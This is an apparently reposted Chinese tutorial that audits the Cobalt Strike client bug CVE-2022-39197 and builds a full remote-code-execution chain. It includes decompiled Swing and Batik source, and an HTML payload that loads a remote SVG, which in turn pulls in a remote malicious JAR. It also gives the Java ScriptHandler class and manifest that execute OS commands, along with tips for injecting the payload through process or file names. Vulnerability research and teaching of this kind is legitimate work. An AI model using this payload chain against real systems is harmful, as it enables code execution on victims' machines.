Cobalt Strike通杀RCE代码审计公开课

渗透技巧 1年前 (2022) admin
741 0 0

1.背景知识

Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS

Cobalt Strike通杀RCE代码审计公开课

其最大的特点是可以团战,拥有一个服务端,多个客户端,每个客户端就是一个攻击者,同一个红队团队中的不同攻击者通过cs的服务端进行协同作战,因为其出色的协作能力、以及强大的后渗透功能,深受国内外黑阔朋友的喜爱。

在2022年9月20日,cobaltstrike官方,报告了一个cve,即CVE-2022-39197,明确了cs4.7版本以下的cobalt strike受到该漏洞的影响,该漏洞可以导致攻击者在cs客户端主机上执行任意命令。

今天,我们将从代码审计的角度,带领大家理解这个漏洞,并且从代码审计的角度来分析如何利用这个漏洞来进行攻击者反制。

2.成果展示

我们先秀一下,最终的利用能达成的效果。装个逼先。(此处只有在2022.10.22晚八点参与腾讯会议的朋友体验到了)

3.代码分析篇

0x00 结构分析

Cobalt Strike通杀RCE代码审计公开课

├── AggressorScripts-master

├── CobaltStrikeCN.jar

├── agscript

├── agscript.bat

├── c2lint

├── c2lint.bat

├── cobaltstrike

├── cobaltstrike.auth

├── cobaltstrike.bat

├── cobaltstrike.jar

├── cobaltstrike.store

├── data

├── peclone

├── peclone.bat

├── teamserver

├── teamserver.bat

└── third-party


4 directories, 14 files

如上图,这是一份cs程序的典型结构,主要的程序逻辑都在cobaltstrike.jar文件中。

我们知道jar是java代码编译打包的结果,所以我们把这次cobalt strike的rce当成是一次java代码审计课来讲。

0x01 代码反编译

我们知道,java代码,一般是被编译成字节码,然后用jvm虚拟机来执行字节码的。

并且,java字节码是可以反编译的,这就是进行java代码审计的基础。java字节码反编译,一般用如下工具:

1.jd-gui(http://java-decompiler.github.io/)

2.java-decompiler

Cobalt Strike通杀RCE代码审计公开课

比如我们可以这样打开cs的jar包进行代码审计。

不过jd-gui有一个缺陷,那就是对代码跟踪、查找等等方面,不如ide好用。所以还有另一种方式。

用java-decompiler,这个是我从stack-overflow扒下来的,具体哪里下载我也忘记了(据说是有老外从idea里面扒下来的),主要功能就是输入一个jar包,按照包解压jar包并批量反编译成java文件。并且我还写了一个小shell脚本来调用,我们看下使用效果。

1.echo $1

2.jar=$1

3.jar_path=${jar%.jar}

4.file=${jar##*/}

5.folder=${jar_path##*/}

6.echo $folder

7.echo $file

8.mkdir -p $folder/jar

9.mkdir -p $folder/src

10.java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true $jar $folder/jar/

11.unzip $folder/jar/$file -d $folder/src

Cobalt Strike通杀RCE代码审计公开课

这样,我们就能通过idea这样的ide来进行代码审计了,比较顺手一点。

0x02 入手第一步

整个cs项目,数万行代码,怎么入手呢审这个漏洞呢?直接硬看肯定不合理。我们先看看官方怎么描述这个漏洞。

https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/

Cobalt Strike通杀RCE代码审计公开课

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39197

Cobalt Strike通杀RCE代码审计公开课

通过cve官网或者cs的官网,都清晰表述出这是一个跟html、xss相关的漏洞。
而我们知道,cs是一款基于swing开发的java gui程序,所以我们可以很快想到先去google检索相关信息。

https://docs.oracle.com/javase/tutorial/uiswing/components/html.html

这里有讲到,如何在swing框架里面嵌入并且执行html代码。

我们来试试吧。

点这里下载官方demo。并且我们可以注意到一句话。

To specify that a component's text has HTML formatting, just put the <html> tag at the beginning of the text, then use any valid HTML in the remainder. Here is an example of using HTML in a button's text:


button = new JButton("<html><b><u>T</u>wo</b><br>lines</html>");

要指定组件的文本具有 HTML 格式,只需将 <html> 标签放在文本的开头,然后在其余部分使用任何有效的 HTML。

从这里我们知道,只要我们能够控制任何一个组件的开头(从开头处开始填充数据),我们就能够在swing中执行html代码。

Cobalt Strike通杀RCE代码审计公开课

0x03 从执行html到特定类调用

那么,我们现在已经能执行html了,我们是否可以执行一些xss之类的呢?比如script标签,答案是不行,具体为什么,还是得看代码。

具体的可以定位到javax/swing/text/html/HTMLEditorKit.class文件(至于为什么要定位到这个文件,都是java动态调试的结果,具体如何动态调试,可以看本公开课相关的录屏)

有一个HTML的工厂类叫HTMLFactory

Cobalt Strike通杀RCE代码审计公开课

在这里可以大致看到他都是在处理跟html标签相关的逻辑,也就是不同的标签,会进入到不同的代码逻辑里面。

这里也可以看到,一些比较敏感或者不相关的标签,都会被隐藏掉。

Cobalt Strike通杀RCE代码审计公开课

所以我们接下来的工作,就是在可以插入的标签里面,寻找那些可以用来执行进一步操作的标签。(现在我们的权限是近似于能够执行html代码,我们希望能够执行js或者java代码来获取更高的灵活度)

经过一些寻找,我们找到了OBJECT标签。

/**

* Tag <object>

*/

public static final Tag OBJECT = new Tag("object");


else if (kind == HTML.Tag.OBJECT) {

return new ObjectView(elem);

} else if (kind == HTML.Tag.FRAMESET) {

if (elem.getAttributes().isDefined(HTML.Attribute.ROWS)) {

return new FrameSetView(elem, View.Y_AXIS);

} else if (elem.getAttributes().isDefined(HTML.Attribute.COLS)) {

return new FrameSetView(elem, View.X_AXIS);

}

throw new RuntimeException("Can't build a" + kind + ", " + elem + ":" +

"no ROWS or COLS defined.");

} else if (kind == HTML.Tag.FRAME) {

return new FrameView(elem);

}

我们来看一下这个OBJECT标签的定义和描述

/**

* Component decorator that implements the view interface

* for <object> elements.

* <p>

* This view will try to load the class specified by the

* <code>classid</code> attribute. If possible, the Classloader

* used to load the associated Document is used.

这个视图将会尝试载入一个用classid指定的类class。

* This would typically be the same as the ClassLoader

* used to load the EditorKit. If the document's

* ClassLoader is null, <code>Class.forName</code> is used.

* <p>

* If the class can successfully be loaded, an attempt will

* be made to create an instance of it by calling

如果载入成功(能找到这个类),将会尝试对这个类实例化一个新对象--》这是什么意思,妥妥的反射呀,难道我们能实例化任何一个类?那不就直接rce啦?

* <code>Class.newInstance</code>. An attempt will be made

* to narrow the instance to type <code>java.awt.Component</code>

* to display the object.

* <p>

* This view can also manage a set of parameters with limitations.

* The parameters to the <object> element are expected to

* be present on the associated elements attribute set as simple

* strings. Each bean property will be queried as a key on

* the AttributeSet, with the expectation that a non-null value

* (of type String) will be present if there was a parameter

* specification for the property. Reflection is used to

* set the parameter. Currently, this is limited to a very

* simple single parameter of type String.

* <p>

* A simple example HTML invocation is:

<object classid="javax.swing.JLabel">

<param name="text" value="sample text">

</object>

在这里还贴心地给了一个使用方法。我们还是先阅读一下代码。

*

* @author Timothy Prinzing

*/

public class ObjectView extends ComponentView {


/**

* Creates a new ObjectView object.

*

* @param elem the element to decorate

*/

public ObjectView(Element elem) {

super(elem);

}


/**

* Create the component. The classid is used

* as a specification of the classname, which

* we try to load.

*/

@SuppressWarnings("deprecation")

protected Component createComponent() {

AttributeSet attr = getElement().getAttributes();

String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID); //获取classid参数

try {

ReflectUtil.checkPackageAccess(classname);

Class<?> c = Class.forName(classname, true,Thread.currentThread().

getContextClassLoader()); //通过反射查找这个类是否存在

Object o = c.newInstance(); //实例化一个对象

if (o instanceof Component) { //该对象必须是Component的实现

Component comp = (Component) o;

setParameters(comp, attr); //进行参数设置

return comp;

}

} catch (Throwable e) {

// couldn't create a component... fall through to the

// couldn't load representation.

}


return getUnloadableRepresentation();

}


/**

* Fetch a component that can be used to represent the

* object if it can't be created.

*/

Component getUnloadableRepresentation() {

// PENDING(prinz) get some artwork and return something

// interesting here.

Component comp = new JLabel("??");

comp.setForeground(Color.red);

return comp;

}


/**

* Initialize this component according the KEY/VALUEs passed in

* via the <param> elements in the corresponding

* <object> element.

*/

private void setParameters(Component comp, AttributeSet attr) {

Class<?> k = comp.getClass(); //根据组件找到具体的类

BeanInfo bi;

try {

bi = Introspector.getBeanInfo(k);

} catch (IntrospectionException ex) {

System.err.println("introspector failed, ex: "+ex);

return; // quit for now

}

PropertyDescriptor[] props = bi.getPropertyDescriptors(); //找到该类的所有属性

for (int i=0; i < props.length; i++) {

// System.err.println("checking on props[i]: "+props[i].getName());

Object v = attr.getAttribute(props[i].getName()); //循环遍历所有属性,检查是否在要设置的attr中

if (v instanceof String) { //要求该参数是个字符串

// found a property parameter

String value = (String) v;

Method writer = props[i].getWriteMethod(); //检查该属性是否可写(其实就是检测是否有setXXX方法)

if (writer == null) {

// read-only property. ignore

return; // for now

}

Class<?>[] params = writer.getParameterTypes();

if (params.length != 1) { //检查该属性的setXXX方法是不是只有一个入参

// zero or more than one argument, ignore

return; // for now

}

Object [] args = { value };

try {

MethodUtil.invoke(writer, comp, args); //调用该setXXX方法来设置参数。

} catch (Exception ex) {

System.err.println("Invocation failed");

// invocation code

}

}

}

}


}


我们来总结下OBJECT标签能做到的事情。

1.通过反射实例化一个类,该类必须是Component类的实现

2.可以通过setXXX修改该类的XXX属性,并且setXXX的参数必须只有一个,且输入的参数只能是字符串

我们来找找符合要求的类

Cobalt Strike通杀RCE代码审计公开课

Cobalt Strike通杀RCE代码审计公开课

通过IDEA,我们可以很方便地找到Component的实现类(记得在查找之前,将cobaltstrike.jar作为第三方库导入到idea中,这样才能方便查找)

我们可以看到结果不少,但是主要集中于jdk自带的库里面,这种我们一般可以排除,因为从本次的漏洞情况来看,更像是cs跟哥斯拉才有的,如果是jdk库中的漏洞,那么所有使用了swing库的项目都会有这个漏洞(当然,不排除jdk库中也有可以利用的类,只是目前没有人挖掘到而已)

在后面的正式培训课程中,我们会讲述如何用codeQL、tabby这一类专业化的工具来进行条件筛选,帮助我们快速筛查出符合要求的类。(当然也可以一步一步看过去,或者自己开发小脚本来进行剔除,我本次就是快速看过去找到的)

在这里我们就简略一点,直接定位到本次的目标类

public class JSVGCanvas extends JSVGComponent {

public static final String SCROLL_RIGHT_ACTION = "ScrollRight";

public static final String SCROLL_LEFT_ACTION = "ScrollLeft";

public static final String SCROLL_UP_ACTION = "ScrollUp";

public static final String SCROLL_DOWN_ACTION = "ScrollDown";

public static final String FAST_SCROLL_RIGHT_ACTION = "FastScrollRight";

public static final String FAST_SCROLL_LEFT_ACTION = "FastScrollLeft";

public static final String FAST_SCROLL_UP_ACTION = "FastScrollUp";

public static final String FAST_SCROLL_DOWN_ACTION = "FastScrollDown";

public static final String ZOOM_IN_ACTION = "ZoomIn";

public static final String ZOOM_OUT_ACTION = "ZoomOut";

public static final String RESET_TRANSFORM_ACTION = "ResetTransform";

private boolean isZoomInteractorEnabled;

private boolean isImageZoomInteractorEnabled;

private boolean isPanInteractorEnabled;

private boolean isRotateInteractorEnabled;

private boolean isResetTransformInteractorEnabled;

protected PropertyChangeSupport pcs;

protected String uri;

protected JSVGCanvas.LocationListener locationListener;

protected Map toolTipMap;

protected EventListener toolTipListener;

protected EventTarget lastTarget;

protected Map toolTipDocs;

protected static final Object MAP_TOKEN = new Object();

protected long lastToolTipEventTimeStamp;

protected EventTarget lastToolTipEventTarget;

protected Interactor zoomInteractor;

protected Interactor imageZoomInteractor;

protected Interactor panInteractor;

protected Interactor rotateInteractor;

protected Interactor resetTransformInteractor;



...

...

...

public void setURI(String var1) {

String var2 = this.uri;

this.uri = var1;

if (this.uri != null) {

this.loadSVGDocument(this.uri);

} else {

this.setSVGDocument((SVGDocument)null);

}


this.pcs.firePropertyChange("URI", var2, this.uri);

}

我们可以看到这个类,有一个uri属性,并且有一个setURI的方法,并且该方法的入参只有一个string类型,完全符合要求。

我们现在来试试调用这个类。

<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/qaxnb">

如果能有访问,说明我们调用这个类成功了。

Cobalt Strike通杀RCE代码审计公开课

确定到这一步是ok的

0x04 从svg引入到代码执行(GG)

先看看引入svg的代码怎么写的

public void loadSVGDocument(String var1) {

String var2 = null;

if (this.svgDocument != null) {

var2 = this.svgDocument.getURL();

}


final ParsedURL var3 = new ParsedURL(var2, var1);

this.stopThenRun(new Runnable() {

public void run() {

String var1 = var3.toString();

AbstractJSVGComponent.this.fragmentIdentifier = var3.getRef();

AbstractJSVGComponent.this.loader = new DocumentLoader(AbstractJSVGComponent.this.userAgent);

AbstractJSVGComponent.this.nextDocumentLoader = new SVGDocumentLoader(var1, AbstractJSVGComponent.this.loader);

AbstractJSVGComponent.this.nextDocumentLoader.setPriority(1);

Iterator var2 = AbstractJSVGComponent.this.svgDocumentLoaderListeners.iterator();


while(var2.hasNext()) {

AbstractJSVGComponent.this.nextDocumentLoader.addSVGDocumentLoaderListener((SVGDocumentLoaderListener)var2.next());

}


AbstractJSVGComponent.this.startDocumentLoader();

}

});

}

这一段代码有点复杂了,顺便提一嘴,我实在讨厌java,太繁琐了,开发太慢了。辣鸡。

但是呢,如果你是一个老web手,或者搞过web安全,你应该马上就能想到,svg是能够引入script脚本能执行js代码的,所以我当时调试就是朝着这个方向去想。

<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/evil.svg">

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="190">

<script>alert("qaxnb")</script>

</svg>

但是运行却报错了,

Cobalt Strike通杀RCE代码审计公开课

我们可以看到,这里报的是NoClassDefFoundError,这是一个runtime error(运行时错误),一般就是运行时,通过反射去获取一个类找不到的时候,就会报这个错误,类似于上面那个objectView的动态调用一个已知类,如果类不存在(没有被打包进jar里面),就会报这个错误,

在这里出现这个错误的原因大概率就是cobalt strike的代码里面没有包含这么一个库,也就是没有一个js的解析器来执行js代码,导致我们这个地方gg了。

0x05 从svg引入到代码执行(成功)

在这个地方卡了很久,另外因为cs在打包的时候做了保护,导致我们没办法动态调试cs的代码,只能静态去审计(这也是代码审计中经常遇到的问题),在这里采取的办法只能是根据调用链一个一个函数去看,看看有没有有撸点的地方。好在runtime error会把调用链print出来。

Cobalt Strike通杀RCE代码审计公开课

从调用链里面我们能看到一个关键函数org.apache.batik.bridge.BaseScriptingEnvironment.loadScripts从函数名称,loadScripts,导入脚本,看着就很有撸点。

public void loadScripts() {

org.apache.batik.script.Window var1 = null;

NodeList var2 = this.document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "script");

int var3 = var2.getLength();

if (var3 != 0) {

for(int var4 = 0; var4 < var3; ++var4) {

AbstractElement var5 = (AbstractElement)var2.item(var4);

String var6 = var5.getAttributeNS((String)null, "type");

if (var6.length() == 0) {

var6 = "text/ecmascript";

}


String var13;

if (var6.equals("application/java-archive")) {

try {

String var24 = XLinkSupport.getXLinkHref(var5);

ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24);

this.checkCompatibleScriptURL(var6, var25);

URL var29 = null;


try {

var29 = new URL(this.docPURL.toString());

} catch (MalformedURLException var18) {

}


DocumentJarClassLoader var26 = new DocumentJarClassLoader(new URL(var25.toString()), var29);

URL var28 = var26.findResource("META-INF/MANIFEST.MF");

if (var28 != null) {

Manifest var30 = new Manifest(var28.openStream());

var13 = var30.getMainAttributes().getValue("Script-Handler");

if (var13 != null) {

ScriptHandler var35 = (ScriptHandler)var26.loadClass(var13).newInstance();

if (var1 == null) {

var1 = this.createWindow();

}


var35.run(this.document, var1);

}


var13 = var30.getMainAttributes().getValue("SVG-Handler-Class");

if (var13 != null) {

EventListenerInitializer var36 = (EventListenerInitializer)var26.loadClass(var13).newInstance();

if (var1 == null) {

var1 = this.createWindow();

}


var36.initializeEventListeners((SVGDocument)this.document);

}

}

} catch (Exception var20) {

if (this.userAgent != null) {

this.userAgent.displayError(var20);

}

}

} else {

Interpreter var7 = this.getInterpreter(var6);

if (var7 != null) {

try {

String var8 = XLinkSupport.getXLinkHref(var5);

String var9 = null;

Object var10 = null;

if (var8.length() > 0) {

var9 = var8;

ParsedURL var11 = new ParsedURL(var5.getBaseURI(), var8);

this.checkCompatibleScriptURL(var6, var11);

InputStream var12 = var11.openStream();

var13 = var11.getContentTypeMediaType();

String var14 = var11.getContentTypeCharset();

if (var14 != null) {

try {

var10 = new InputStreamReader(var12, var14);

} catch (UnsupportedEncodingException var19) {

var14 = null;

}

}


if (var10 == null) {

if ("application/ecmascript".equals(var13)) {

if (var11.hasContentTypeParameter("version")) {

continue;

}


PushbackInputStream var15 = new PushbackInputStream(var12, 8);

byte[] var16 = new byte[4];

int var17 = var15.read(var16);

if (var17 > 0) {

var15.unread(var16, 0, var17);

if (var17 >= 2) {

if (var16[0] == -1 && var16[1] == -2) {

if (var17 >= 4 && var16[2] == 0 && var16[3] == 0) {

var14 = "UTF32-LE";

var15.skip(4L);

} else {

var14 = "UTF-16LE";

var15.skip(2L);

}

} else if (var16[0] == -2 && var16[1] == -1) {

var14 = "UTF-16BE";

var15.skip(2L);

} else if (var17 >= 3 && var16[0] == -17 && var16[1] == -69 && var16[2] == -65) {

var14 = "UTF-8";

var15.skip(3L);

} else if (var17 >= 4 && var16[0] == 0 && var16[1] == 0 && var16[2] == -2 && var16[3] == -1) {

var14 = "UTF-32BE";

var15.skip(4L);

}

}


if (var14 == null) {

var14 = "UTF-8";

}

}


var10 = new InputStreamReader(var15, var14);

} else {

var10 = new InputStreamReader(var12);

}

}

} else {

this.checkCompatibleScriptURL(var6, this.docPURL);

DocumentLoader var27 = this.bridgeContext.getDocumentLoader();

SVGDocument var31 = (SVGDocument)var5.getOwnerDocument();

int var34 = var27.getLineNumber(var5);

var9 = Messages.formatMessage("BaseScriptingEnvironment.constant.inline.script.description", new Object[]{var31.getURL(), "<" + var5.getNodeName() + ">", new Integer(var34)});

Node var32 = var5.getFirstChild();

if (var32 == null) {

continue;

}


StringBuffer var33;

for(var33 = new StringBuffer(); var32 != null; var32 = var32.getNextSibling()) {

if (var32.getNodeType() == 4 || var32.getNodeType() == 3) {

var33.append(var32.getNodeValue());

}

}


var10 = new StringReader(var33.toString());

}


var7.evaluate((Reader)var10, var9);

} catch (IOException var21) {

if (this.userAgent != null) {

this.userAgent.displayError(var21);

}


return;

} catch (InterpreterException var22) {

System.err.println("InterpExcept: " + var22);

this.handleInterpreterException(var22);

return;

} catch (SecurityException var23) {

if (this.userAgent != null) {

this.userAgent.displayError(var23);

}

}

}

}

}


}

}

这个函数代码量还是比较长,我们来逐步梳理下

NodeList var2 = this.document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "script");

首先从this.document属性去获取标签为script的对象列表,而document显而易见来源于我们输入的svg。

因为前面svg的构建过程中,函数名称就叫loadSVGDocument,所以你可以理解为,我们输入的那串html文本里面的svg标签,已经在这里被实例化成了一个svgDocument对象了,并且被赋值成this.document了。

for(int var4 = 0; var4 < var3; ++var4) {

AbstractElement var5 = (AbstractElement)var2.item(var4);

String var6 = var5.getAttributeNS((String)null, "type");

if (var6.length() == 0) {

var6 = "text/ecmascript";

}

然后开始遍历script对象列表,var5就是每一个script对象,var6是获取每个script对象的type值,并且我们可以看到,如果没有type,type就被赋值成了text/ecmascript。这也是我们上面那个案例里面走的流程。现在我们已经确定这个分支走不通了,所以我们就得想想办法,通过赋予不同的type,让他走到不同的分支里面。

这里我们就能看到,如果我们将type赋值成application/java-archive就能走进这个分支里面。然后我们再来梳理这个分支做了什么。(其实看名字就能猜出能引入一个外部的jar包,毕竟java-archive就是jar的文件MIME类型)

if (var6.equals("application/java-archive")) {

try {

String var24 = XLinkSupport.getXLinkHref(var5); //读取xlink:href属性的内容

ParsedURL var25 = new ParsedURL(var5.getBaseURI(), var24); //字符串转URL对象,问题不大

this.checkCompatibleScriptURL(var6, var25); //一些简单的格式校验,问题不大

URL var29 = null;


try {

var29 = new URL(this.docPURL.toString());

} catch (MalformedURLException var18) {

}


DocumentJarClassLoader var26 = new DocumentJarClassLoader(new URL(var25.toString()), var29); //将远程url的jar转成一个对象,直接理解为导入了一个远程的jar包

URL var28 = var26.findResource("META-INF/MANIFEST.MF"); //读取jar包中的META-INF/MANIFEST.MF清单文件路径(确认是否储存在)

if (var28 != null) {

Manifest var30 = new Manifest(var28.openStream()); //转化成对象

var13 = var30.getMainAttributes().getValue("Script-Handler"); //获取Script-Handler键的名称(类名)

if (var13 != null) {

ScriptHandler var35 = (ScriptHandler)var26.loadClass(var13).newInstance(); //又是通过反射来进行动态调用,创建了一个新对象!!!!

if (var1 == null) {

var1 = this.createWindow();

}


var35.run(this.document, var1);

}


var13 = var30.getMainAttributes().getValue("SVG-Handler-Class");

if (var13 != null) {

EventListenerInitializer var36 = (EventListenerInitializer)var26.loadClass(var13).newInstance();

if (var1 == null) {

var1 = this.createWindow();

}


var36.initializeEventListeners((SVGDocument)this.document);

}

}

} catch (Exception var20) {

if (this.userAgent != null) {

this.userAgent.displayError(var20);

}

}

}

至此,我们可以看到通过引入svg,并且在svg脚本中嵌入script标签,并且该标签的type是application/java-archive,我们就能让cs引入一个外部的恶意jar包,并且我们能够指定cs去执行我们编写在jar包中的代码(实例化对象),通过这么一系列利用,来完成代码执行。

payload:

<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/evil.svg">

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="190">

<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://192.168.101.15:8000/evil.jar"></script>

</svg>

0x06 恶意类构建

直接贴代码吧,很简单的代码,没什么好讲的其实。

import java.io.IOException;

import org.apache.batik.script.ScriptHandler;

import org.apache.batik.script.Window;

import org.w3c.dom.Document;


public class evil implements ScriptHandler{

public evil(){

try{

String OS = System.getProperty("os.name").toLowerCase();

if (OS.indexOf("mac")>=0){

System.out.println("mac");

Runtime.getRuntime().exec("open -na Calculator");

}else if(OS.indexOf("windows")>=0){

System.out.println("windows");

Runtime.getRuntime().exec("calc.exe");


}else{

System.out.println("linux");

}

}catch (IOException e){

e.printStackTrace();

}

}

@Override

public void run(Document document, Window window) {


}

}


Manifest-Version: 1.0

Script-Handler: evil

Cobalt Strike通杀RCE代码审计公开课

4.实战日穿cs

刚才都是理论基础,貌似我们讲了很久,都跟cs没啥关系。

但是要实战日穿cs,要考虑payload长度,要考虑交互性,这是最麻烦的点。

payload长度限制

我们先回顾下我们的payload

<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://192.168.101.15:8000/evil.svg">

大概需要是120个字节,即便是uri那边缩减一点,也不会小于100个字节。这就限制了我们不能完成0click。(具体网上有详细原因,要了解cs的通信原理,此处略过,如果后面有需求,可以放在培训课里面讲)

Cobalt Strike通杀RCE代码审计公开课

所以我们只能去其他地方找找有没有能插入html代码的地方。

比如,文件名:

Cobalt Strike通杀RCE代码审计公开课

比如,进程名:

Cobalt Strike通杀RCE代码审计公开课

真交互限制

真交互限制指的就是,如何上线一个cs?到攻击者的teamserver,因为如果不能上线,就不能把后续的payload信息插入到进程名、文件名等等里面去。

目前网上公开的采取的都是通过类似frida之类的进程api hook工具,真实去执行一个攻击者的beacon.exe,然后,将文件名、进程名改动成攻击payload进行反制。

这里我使用的是更轻量、更高级的办法。(网上其他师傅没公开不代表人家没做,这里没有贬低之意,但是从效果而言,肯定是协议模拟更优雅、更赛博朋克一点)

来源于我们内部开发的cs攻击压制干扰工具,我用这个工具可以直接上线cs(并没有真实执行一个木马,只需要知道cs木马回连的ip、端口),然后再在中间插入我们的payload即可。(具体的展示,全部在本次公开课的录屏里面)

工具这里不方便公开,但是可以提供思路大家自己去实现。思路就是去研究cs的通信协议,了解加密解密过程就好了。具体可以看cobaltstrike.jar里面的代码。

5.参考资料

1.https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ

2.https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw

3.https://securityintelligence.com/posts/analysis-rce-vulnerability-cobalt-strike

6.附件下载

本次公开课的相关资料领取(包括两款java反编译工具、公开课录屏回放、本文档pdf、evil代码项目案例)。

领取方式:关注公众号“赛博捉虫”或Th0r安全,后台回复“csrce公开课”领取。

另外,内部cobalt strike攻击压制干扰工具:这个是不会公开的。添加vx:dadasec 


原文始发于微信公众号(赛博捉虫):Cobalt Strike通杀RCE代码审计公开课

版权声明:admin 发表于 2022年10月23日 下午5:16。
转载请注明:Cobalt Strike通杀RCE代码审计公开课 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...